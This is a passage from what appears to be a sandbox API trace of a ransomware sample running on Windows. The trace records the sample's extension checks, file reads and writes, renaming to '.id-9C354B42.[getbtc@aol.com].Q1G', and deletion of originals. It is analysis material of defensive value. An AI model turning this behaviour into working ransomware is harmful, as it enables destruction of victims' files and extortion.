lpString2=".CHM") returned 1 [0051.198] lstrlenW (lpString=".docx") returned 5 [0051.198] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.198] lstrlenW (lpString=".pdf") returned 4 [0051.198] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.198] lstrlenW (lpString=".xls") returned 4 [0051.198] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.198] lstrlenW (lpString=".xlsx") returned 5 [0051.198] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.198] lstrlenW (lpString=".ppt") returned 4 [0051.199] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.199] lstrlenW (lpString=".zip") returned 4 [0051.199] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString=".rar") returned 4 [0051.199] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString=".bz2") returned 4 [0051.199] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.199] lstrlenW (lpString=".7z") returned 3 [0051.199] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.199] lstrlenW (lpString=".dbf") returned 4 [0051.199] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.199] lstrlenW (lpString=".1cd") returned 4 [0051.199] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.199] lstrlenW (lpString=".jpg") returned 4 [0051.199] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.199] lstrlenW (lpString=".doc") returned 4 [0051.199] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString=".docx") returned 5 [0051.199] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.199] lstrlenW (lpString=".pdf") returned 4 [0051.199] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString=".xls") returned 4 [0051.199] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.199] lstrlenW (lpString=".xlsx") returned 5 [0051.199] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.199] lstrlenW (lpString=".ppt") returned 4 [0051.199] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.200] lstrlenW (lpString=".zip") returned 4 [0051.200] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.200] lstrlenW (lpString=".rar") returned 4 [0051.200] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.200] lstrlenW (lpString=".bz2") returned 4 [0051.200] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.200] lstrlenW (lpString=".7z") returned 3 [0051.200] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.200] lstrlenW (lpString=".dbf") returned 4 [0051.200] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.200] lstrlenW (lpString=".1cd") returned 4 [0051.200] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.200] lstrlenW (lpString=".jpg") returned 4 [0051.200] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.200] lstrcmpiW (lpString1=".MSG", lpString2=".Q1G") returned -1 [0051.200] lstrlenW (lpString="FPEXT.MSG") returned 9 [0051.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.201] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=169637) returned 1 [0051.201] CloseHandle (hObject=0x1ec) returned 1 [0051.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0051.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.201] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.201] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.202] GetLastError () returned 0x0 [0051.202] ReadFile (in: hFile=0x1ec, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x296a5, lpOverlapped=0x0) returned 1 [0051.455] WriteFile (in: hFile=0x21c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0051.458] ReadFile (in: hFile=0x1ec, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.460] WriteFile (in: hFile=0x21c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.461] SetEndOfFile (hFile=0x21c) returned 1 [0051.461] CloseHandle (hObject=0x21c) returned 1 [0051.461] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.461] SetEndOfFile (hFile=0x1ec) returned 1 [0051.463] CloseHandle (hObject=0x1ec) returned 1 [0051.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0051.463] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0051.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.463] lstrlenW (lpString=".doc") returned 4 [0051.463] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0051.463] lstrlenW (lpString=".docx") returned 5 [0051.463] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0051.463] lstrlenW (lpString=".pdf") returned 4 [0051.465] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0051.465] lstrlenW (lpString=".xls") returned 4 [0051.465] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0051.466] lstrlenW (lpString=".xlsx") returned 5 [0051.466] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0051.466] lstrlenW (lpString=".ppt") returned 4 [0051.466] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0051.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.466] lstrlenW (lpString=".zip") returned 4 [0051.466] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0051.466] lstrlenW (lpString=".rar") returned 4 [0051.466] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0051.466] lstrlenW (lpString=".bz2") returned 4 [0051.466] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0051.466] lstrlenW (lpString=".7z") returned 3 [0051.466] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0051.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.466] lstrlenW (lpString=".dbf") returned 4 [0051.466] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0051.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.466] lstrlenW (lpString=".1cd") returned 4 [0051.466] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0051.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.466] lstrlenW (lpString=".jpg") returned 4 [0051.466] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0051.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.466] lstrlenW (lpString=".doc") returned 4 [0051.466] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0051.466] lstrlenW (lpString=".docx") returned 5 [0051.466] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0051.466] lstrlenW (lpString=".pdf") returned 4 [0051.466] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0051.466] lstrlenW (lpString=".xls") returned 4 [0051.466] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0051.466] lstrlenW (lpString=".xlsx") returned 5 [0051.466] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0051.466] lstrlenW (lpString=".ppt") returned 4 [0051.467] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0051.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.467] lstrlenW (lpString=".zip") returned 4 [0051.467] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0051.467] lstrlenW (lpString=".rar") returned 4 [0051.467] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0051.467] lstrlenW (lpString=".bz2") returned 4 [0051.467] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0051.467] lstrlenW (lpString=".7z") returned 3 [0051.467] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0051.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.467] lstrlenW (lpString=".dbf") returned 4 [0051.467] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0051.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.467] lstrlenW (lpString=".1cd") returned 4 [0051.467] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0051.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.467] lstrlenW (lpString=".jpg") returned 4 [0051.467] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0051.467] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0051.467] lstrlenW (lpString="adovbs.inc") returned 10 [0051.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.477] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=14951) returned 1 [0051.477] CloseHandle (hObject=0x208) returned 1 [0051.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0051.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.477] lstrlenW (lpString=".doc") returned 4 [0051.477] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.477] lstrlenW (lpString=".docx") returned 5 [0051.477] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.477] lstrlenW (lpString=".pdf") returned 4 [0051.477] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.477] lstrlenW (lpString=".xls") returned 4 [0051.477] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.477] lstrlenW (lpString=".xlsx") returned 5 [0051.477] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.477] lstrlenW (lpString=".ppt") returned 4 [0051.477] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.477] lstrlenW (lpString=".zip") returned 4 [0051.477] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.477] lstrlenW (lpString=".rar") returned 4 [0051.477] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.477] lstrlenW (lpString=".bz2") returned 4 [0051.478] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.478] lstrlenW (lpString=".7z") returned 3 [0051.478] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.478] lstrlenW (lpString=".dbf") returned 4 [0051.478] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.478] lstrlenW (lpString=".1cd") returned 4 [0051.478] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.478] lstrlenW (lpString=".jpg") returned 4 [0051.478] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.478] lstrlenW (lpString=".doc") returned 4 [0051.478] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.478] lstrlenW (lpString=".docx") returned 5 [0051.478] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.478] lstrlenW (lpString=".pdf") returned 4 [0051.478] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.478] lstrlenW (lpString=".xls") returned 4 [0051.478] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.478] lstrlenW (lpString=".xlsx") returned 5 [0051.478] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.478] lstrlenW (lpString=".ppt") returned 4 [0051.478] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.478] lstrlenW (lpString=".zip") returned 4 [0051.478] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.478] lstrlenW (lpString=".rar") returned 4 [0051.478] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.478] lstrlenW (lpString=".bz2") returned 4 [0051.478] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.478] lstrlenW (lpString=".7z") returned 3 [0051.478] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.479] lstrlenW (lpString=".dbf") returned 4 [0051.479] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.479] lstrlenW (lpString=".1cd") returned 4 [0051.479] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.479] lstrlenW (lpString=".jpg") returned 4 [0051.479] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.479] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0051.479] lstrlenW (lpString="oledbjvs.inc") returned 12 [0051.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.803] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=9804) returned 1 [0051.804] CloseHandle (hObject=0x208) returned 1 [0051.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0051.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.804] lstrlenW (lpString=".doc") returned 4 [0051.804] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.804] lstrlenW (lpString=".docx") returned 5 [0051.804] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.804] lstrlenW (lpString=".pdf") returned 4 [0051.804] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.804] lstrlenW (lpString=".xls") returned 4 [0051.804] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.804] lstrlenW (lpString=".xlsx") returned 5 [0051.804] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.804] lstrlenW (lpString=".ppt") returned 4 [0051.804] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.804] lstrlenW (lpString=".zip") returned 4 [0051.804] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.804] lstrlenW (lpString=".rar") returned 4 [0051.804] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.804] lstrlenW (lpString=".bz2") returned 4 [0051.804] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.805] lstrlenW (lpString=".7z") returned 3 [0051.805] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.805] lstrlenW (lpString=".dbf") returned 4 [0051.805] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.805] lstrlenW (lpString=".1cd") returned 4 [0051.805] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.805] lstrlenW (lpString=".jpg") returned 4 [0051.805] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.805] lstrlenW (lpString=".doc") returned 4 [0051.805] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.805] lstrlenW (lpString=".docx") returned 5 [0051.805] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.805] lstrlenW (lpString=".pdf") returned 4 [0051.805] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.805] lstrlenW (lpString=".xls") returned 4 [0051.805] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.805] lstrlenW (lpString=".xlsx") returned 5 [0051.805] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.805] lstrlenW (lpString=".ppt") returned 4 [0051.805] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.805] lstrlenW (lpString=".zip") returned 4 [0051.805] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.805] lstrlenW (lpString=".rar") returned 4 [0051.805] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.805] lstrlenW (lpString=".bz2") returned 4 [0051.805] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.805] lstrlenW (lpString=".7z") returned 3 [0051.805] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.806] lstrlenW (lpString=".dbf") returned 4 [0051.806] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.806] lstrlenW (lpString=".1cd") returned 4 [0051.806] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0051.806] lstrlenW (lpString=".jpg") returned 4 [0051.806] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.806] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0051.806] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0051.806] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.842] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=10123) returned 1 [0051.842] CloseHandle (hObject=0x208) returned 1 [0051.842] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0051.843] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.843] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.843] lstrlenW (lpString=".doc") returned 4 [0051.843] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.843] lstrlenW 